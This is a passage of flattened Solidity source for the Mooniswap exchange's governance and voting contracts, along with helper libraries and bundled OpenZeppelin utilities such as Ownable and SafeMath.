_governanceShare.votes[user].get(MooniswapConstants._DEFAULT_GOVERNANCE_SHARE); } function virtualGovernanceShare() external view returns(uint104, uint104, uint48) { return (_governanceShare.data.oldResult, _governanceShare.data.result, _governanceShare.data.time); } function setGovernanceWallet(address newGovernanceWallet) external onlyOwner { governanceWallet = newGovernanceWallet; isFeeCollector[newGovernanceWallet] = true; emit GovernanceWalletUpdate(newGovernanceWallet); } function setFeeCollector(address newFeeCollector) external onlyOwner { feeCollector = newFeeCollector; isFeeCollector[newFeeCollector] = true; emit FeeCollectorUpdate(newFeeCollector); } function defaultFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function discardDefaultFeeVote() external { _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function defaultSlippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function discardDefaultSlippageFeeVote() external { _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function defaultDecayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function discardDefaultDecayPeriodVote() external { _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function referralShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Referral share vote is too high"); require(vote >= MooniswapConstants._MIN_REFERRAL_SHARE, "Referral share vote is too low"); _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function discardReferralShareVote() external { _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function governanceShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Gov share vote is too high"); _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function discardGovernanceShareVote() external { _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _notifyStakeChanged(address account, uint256 newBalance) internal override { uint256 balance = _set(account, newBalance); if (newBalance == balance) { return; } _defaultFee.updateBalance(account, _defaultFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); _defaultSlippageFee.updateBalance(account, _defaultSlippageFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); _defaultDecayPeriod.updateBalance(account, _defaultDecayPeriod.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); _referralShare.updateBalance(account, _referralShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); _governanceShare.updateBalance(account, _governanceShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _emitDefaultFeeVoteUpdate(address user, uint256 newDefaultFee, bool isDefault, uint256 balance) private { emit DefaultFeeVoteUpdate(user, newDefaultFee, isDefault, balance); } function _emitDefaultSlippageFeeVoteUpdate(address user, uint256 newDefaultSlippageFee, bool isDefault, uint256 balance) private { emit DefaultSlippageFeeVoteUpdate(user, newDefaultSlippageFee, isDefault, balance); } function _emitDefaultDecayPeriodVoteUpdate(address user, uint256 newDefaultDecayPeriod, bool isDefault, uint256 balance) private { emit DefaultDecayPeriodVoteUpdate(user, newDefaultDecayPeriod, isDefault, balance); } function _emitReferralShareVoteUpdate(address user, uint256 newReferralShare, bool isDefault, uint256 balance) private { emit ReferralShareVoteUpdate(user, newReferralShare, isDefault, balance); } function _emitGovernanceShareVoteUpdate(address user, uint256 newGovernanceShare, bool isDefault, uint256 balance) private { emit GovernanceShareVoteUpdate(user, newGovernanceShare, isDefault, balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/LiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; abstract contract MooniswapGovernance is ERC20, Ownable, ReentrancyGuard { using Vote for Vote.Data; using LiquidVoting for LiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeCast for uint256; event FeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event SlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); IMooniswapFactoryGovernance public mooniswapFactoryGovernance; LiquidVoting.Data private _fee; LiquidVoting.Data private _slippageFee; LiquidVoting.Data private _decayPeriod; constructor(IMooniswapFactoryGovernance _mooniswapFactoryGovernance) internal { mooniswapFactoryGovernance = _mooniswapFactoryGovernance; _fee.data.result = _mooniswapFactoryGovernance.defaultFee().toUint104(); _slippageFee.data.result = _mooniswapFactoryGovernance.defaultSlippageFee().toUint104(); _decayPeriod.data.result = _mooniswapFactoryGovernance.defaultDecayPeriod().toUint104(); } function setMooniswapFactoryGovernance(IMooniswapFactoryGovernance newMooniswapFactoryGovernance) external onlyOwner { mooniswapFactoryGovernance = newMooniswapFactoryGovernance; this.discardFeeVote(); this.discardSlippageFeeVote(); this.discardDecayPeriodVote(); } function fee() public view returns(uint256) { return _fee.data.current(); } function slippageFee() public view returns(uint256) { return _slippageFee.data.current(); } function decayPeriod() public view returns(uint256) { return _decayPeriod.data.current(); } function virtualFee() external view returns(uint104, uint104, uint48) { return (_fee.data.oldResult, _fee.data.result, _fee.data.time); } function virtualSlippageFee() external view returns(uint104, uint104, uint48) { return (_slippageFee.data.oldResult, _slippageFee.data.result, _slippageFee.data.time); } function virtualDecayPeriod() external view returns(uint104, uint104, uint48) { return (_decayPeriod.data.oldResult, _decayPeriod.data.result, _decayPeriod.data.time); } function feeVotes(address user) external view returns(uint256) { return _fee.votes[user].get(mooniswapFactoryGovernance.defaultFee); } function slippageFeeVotes(address user) external view returns(uint256) { return _slippageFee.votes[user].get(mooniswapFactoryGovernance.defaultSlippageFee); } function decayPeriodVotes(address user) external view returns(uint256) { return _decayPeriod.votes[user].get(mooniswapFactoryGovernance.defaultDecayPeriod); } function feeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function slippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function decayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function discardFeeVote() external { _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function discardSlippageFeeVote() external { _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function discardDecayPeriodVote() external { _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function _emitFeeVoteUpdate(address account, uint256 newFee, bool isDefault, uint256 newBalance) private { emit FeeVoteUpdate(account, newFee, isDefault, newBalance); } function _emitSlippageFeeVoteUpdate(address account, uint256 newSlippageFee, bool isDefault, uint256 newBalance) private { emit SlippageFeeVoteUpdate(account, newSlippageFee, isDefault, newBalance); } function _emitDecayPeriodVoteUpdate(address account, uint256 newDecayPeriod, bool isDefault, uint256 newBalance) private { emit DecayPeriodVoteUpdate(account, newDecayPeriod, isDefault, newBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { if (from == to) { // ignore transfers to self return; } IMooniswapFactoryGovernance _mooniswapFactoryGovernance = mooniswapFactoryGovernance; bool updateFrom = !(from == address(0) || _mooniswapFactoryGovernance.isFeeCollector(from)); bool updateTo = !(to == address(0) || _mooniswapFactoryGovernance.isFeeCollector(to)); if (!updateFrom && !updateTo) { // mint to feeReceiver or burn from feeReceiver return; } uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0; uint256 balanceTo = (to != address(0)) ? balanceOf(to) : 0; uint256 newTotalSupply = totalSupply() .add(from == address(0) ? amount : 0) .sub(to == address(0) ? amount : 0); ParamsHelper memory params = ParamsHelper({ from: from, to: to, updateFrom: updateFrom, updateTo: updateTo, amount: amount, balanceFrom: balanceFrom, balanceTo: balanceTo, newTotalSupply: newTotalSupply }); (uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod) = _mooniswapFactoryGovernance.defaults(); _updateOnTransfer(params, defaultFee, _emitFeeVoteUpdate, _fee); _updateOnTransfer(params, defaultSlippageFee, _emitSlippageFeeVoteUpdate, _slippageFee); _updateOnTransfer(params, defaultDecayPeriod, _emitDecayPeriodVoteUpdate, _decayPeriod); } struct ParamsHelper { address from; address to; bool updateFrom; bool updateTo; uint256 amount; uint256 balanceFrom; uint256 balanceTo; uint256 newTotalSupply; } function _updateOnTransfer( ParamsHelper memory params, uint256 defaultValue, function(address, uint256, bool, uint256) internal emitEvent, LiquidVoting.Data storage votingData ) private { Vote.Data memory voteFrom = votingData.votes[params.from]; Vote.Data memory voteTo = votingData.votes[params.to]; if (voteFrom.isDefault() && voteTo.isDefault() && params.updateFrom && params.updateTo) { emitEvent(params.from, voteFrom.get(defaultValue), true, params.balanceFrom.sub(params.amount)); emitEvent(params.to, voteTo.get(defaultValue), true, params.balanceTo.add(params.amount)); return; } if (params.updateFrom) { votingData.updateBalance(params.from, voteFrom, params.balanceFrom, params.balanceFrom.sub(params.amount), params.newTotalSupply, defaultValue, emitEvent); } if (params.updateTo) { votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IFeeCollector { function updateReward(address receiver, uint256 amount) external; function updateRewards(address[] calldata receivers, uint256[] calldata amounts) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IGovernanceModule { function notifyStakeChanged(address account, uint256 newBalance) external; function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapDeployer { function deploy( IERC20 token1, IERC20 token2, string calldata name, string calldata symbol, address poolOwner ) external returns(Mooniswap pool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapFactory is IMooniswapFactoryGovernance { function pools(IERC20 token0, IERC20 token1) external view returns (Mooniswap); function isPool(Mooniswap mooniswap) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IMooniswapFactoryGovernance { function shareParameters() external view returns(uint256 referralShare, uint256 governanceShare, address governanceWallet, address referralFeeReceiver); function defaults() external view returns(uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod); function defaultFee() external view returns(uint256); function defaultSlippageFee() external view returns(uint256); function defaultDecayPeriod() external view returns(uint256); function referralShare() external view returns(uint256); function governanceShare() external view returns(uint256); function governanceWallet() external view returns(address); function feeCollector() external view returns(address); function isFeeCollector(address) external view returns(bool); function isActive() external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library ExplicitLiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _votedSupply; mapping(address => Vote.Data) votes; } function updateVote( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, defaultVote, emitEvent); } function updateBalance( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, defaultVote, emitEvent); } function _update( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldVotedSupply = self._votedSupply; uint256 newVotedSupply = oldVotedSupply; if (!oldVote.isDefault()) { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); newVotedSupply = newVotedSupply.sub(oldBalance); } if (!newVote.isDefault()) { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); newVotedSupply = newVotedSupply.add(newBalance); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newVotedSupply != oldVotedSupply) { self._votedSupply = newVotedSupply; } { uint256 newResult = newVotedSupply == 0 ? defaultVote : newWeightedSum.div(newVotedSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library LiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _defaultVotes; mapping(address => Vote.Data) votes; } function updateVote( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 totalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, totalSupply, defaultVote, emitEvent); } function updateBalance( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, newTotalSupply, defaultVote, emitEvent); } function _update( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldDefaultVotes = self._defaultVotes; uint256 newDefaultVotes = oldDefaultVotes; if (oldVote.isDefault()) { newDefaultVotes = newDefaultVotes.sub(oldBalance); } else { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); } if (newVote.isDefault()) { newDefaultVotes = newDefaultVotes.add(newBalance); } else { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newDefaultVotes != oldDefaultVotes) { self._defaultVotes = newDefaultVotes; } { uint256 newResult = newTotalSupply == 0 ? defaultVote : newWeightedSum.add(newDefaultVotes.mul(defaultVote)).div(newTotalSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library MooniswapConstants { uint256 internal constant _FEE_DENOMINATOR = 1e18; uint256 internal constant _MIN_REFERRAL_SHARE = 0.05e18; // 5% uint256 internal constant _MIN_DECAY_PERIOD = 1 minutes; uint256 internal constant _MAX_FEE = 0.01e18; // 1% uint256 internal constant _MAX_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _MAX_SHARE = 0.1e18; // 10% uint256 internal constant _MAX_DECAY_PERIOD = 5 minutes; uint256 internal constant _DEFAULT_FEE = 0; uint256 internal constant _DEFAULT_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _DEFAULT_REFERRAL_SHARE = 0.1e18; // 10% uint256 internal constant _DEFAULT_GOVERNANCE_SHARE = 0; uint256 internal constant _DEFAULT_DECAY_PERIOD = 1 minutes; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeCast { function toUint216(uint256 value) internal pure returns (uint216) { require(value < 2**216, "value does not fit in 216 bits"); return uint216(value); } function toUint104(uint256 value) internal pure returns (uint104) { require(value < 2**104, "value does not fit in 104 bits"); return uint104(value); } function toUint48(uint256 value) internal pure returns (uint48) { require(value < 2**48, "value does not fit in 48 bits"); return uint48(value); } function toUint40(uint256 value) internal pure returns (uint40) { require(value < 2**40, "value does not fit in 40 bits"); return uint40(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library Sqrt { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256) { if (y > 3) { uint256 z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } return z; } else if (y != 0) { return 1; } else { return 0; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; library UniERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; function isETH(IERC20 token) internal pure returns(bool) { return (address(token) == address(0)); } function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function uniTransfer(IERC20 token, address payable to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { to.transfer(amount); } else { token.safeTransfer(to, amount); } } } function uniTransferFrom(IERC20 token, address payable from, address to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { require(msg.value >= amount, "UniERC20: not enough value"); require(from == msg.sender, "from is not msg.sender"); require(to == address(this), "to is not this"); if (msg.value > amount) { // Return remainder if exist from.transfer(msg.value.sub(amount)); } } else { token.safeTransferFrom(from, to, amount); } } } function uniSymbol(IERC20 token) internal view returns(string memory) { if (isETH(token)) { return "ETH"; } (bool success, bytes memory data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("symbol()") ); if (!success) { (success, data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("SYMBOL()") ); } if (success && data.length >= 96) { (uint256 offset, uint256 len) = abi.decode(data, (uint256, uint256)); if (offset == 0x20 && len > 0 && len <= 256) { return string(abi.decode(data, (bytes))); } } if (success && data.length == 32) { uint len = 0; while (len < data.length && data[len] >= 0x20 && data[len] <= 0x7E) { len++; } if (len > 0) { bytes memory result = new bytes(len); for (uint i = 0; i < len; i++) { result[i] = data[i]; } return string(result); } } return _toHex(address(token)); } function _toHex(address account) private pure returns(string memory) { return _toHex(abi.encodePacked(account)); } function _toHex(bytes memory data) private pure returns(string memory) { bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; uint j = 2; for (uint i = 0; i < data.length; i++) { uint a = uint8(data[i]) >> 4; uint b = uint8(data[i]) & 0x0f; str[j++] = byte(uint8(a + 48 + (a/10)*39)); str[j++] = byte(uint8(b + 48 + (b/10)*39)); } return string(str); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "./SafeCast.sol"; library VirtualBalance { using SafeMath for uint256; using SafeCast for uint256; struct Data { uint216 balance; uint40 time; } function set(VirtualBalance.Data storage self, uint256 balance) internal { (self.balance, self.time) = ( balance.toUint216(), block.timestamp.toUint40() ); } function update(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance) internal { set(self, current(self, decayPeriod, realBalance)); } function scale(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance, uint256 num, uint256 denom) internal { set(self, current(self, decayPeriod, realBalance).mul(num).add(denom.sub(1)).div(denom)); } function current(VirtualBalance.Data memory self, uint256 decayPeriod, uint256 realBalance) internal view returns(uint256) { uint256 timePassed = Math.min(decayPeriod, block.timestamp.sub(self.time)); uint256 timeRemain = decayPeriod.sub(timePassed); return uint256(self.balance).mul(timeRemain).add( realBalance.mul(timePassed) ).div(decayPeriod); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; library VirtualVote { using SafeMath for uint256; uint256 private constant _VOTE_DECAY_PERIOD = 1 days; struct Data { uint104 oldResult; uint104 result; uint48 time; } function current(VirtualVote.Data memory self) internal view returns(uint256) { uint256 timePassed = Math.min(_VOTE_DECAY_PERIOD, block.timestamp.sub(self.time)); uint256 timeRemain = _VOTE_DECAY_PERIOD.sub(timePassed); return uint256(self.oldResult).mul(timeRemain).add( uint256(self.result).mul(timePassed) ).div(_VOTE_DECAY_PERIOD); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library Vote { struct Data { uint256 value; } function eq(Vote.Data memory self, Vote.Data memory vote) internal pure returns(bool) { return self.value == vote.value; } function init() internal pure returns(Vote.Data memory data) { return Vote.Data({ value: 0 }); } function init(uint256 vote) internal pure returns(Vote.Data memory data) { return Vote.Data({ value: vote + 1 }); } function isDefault(Data memory self) internal pure returns(bool) { return self.value == 0; } function get(Data memory self, uint256 defaultVote) internal pure returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVote; } function get(Data memory self, function() external view returns(uint256) defaultVoteFn) internal view returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVoteFn(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; contract BalanceAccounting { using SafeMath for uint256; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _mint(address account, uint256 amount) internal virtual { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint256 amount) internal virtual { _balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _set(address account, uint256 amount) internal virtual returns(uint256 oldAmount) { oldAmount = _balances[account]; if (oldAmount != amount) { _balances[account] = amount; _totalSupply = _totalSupply.add(amount).sub(oldAmount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication 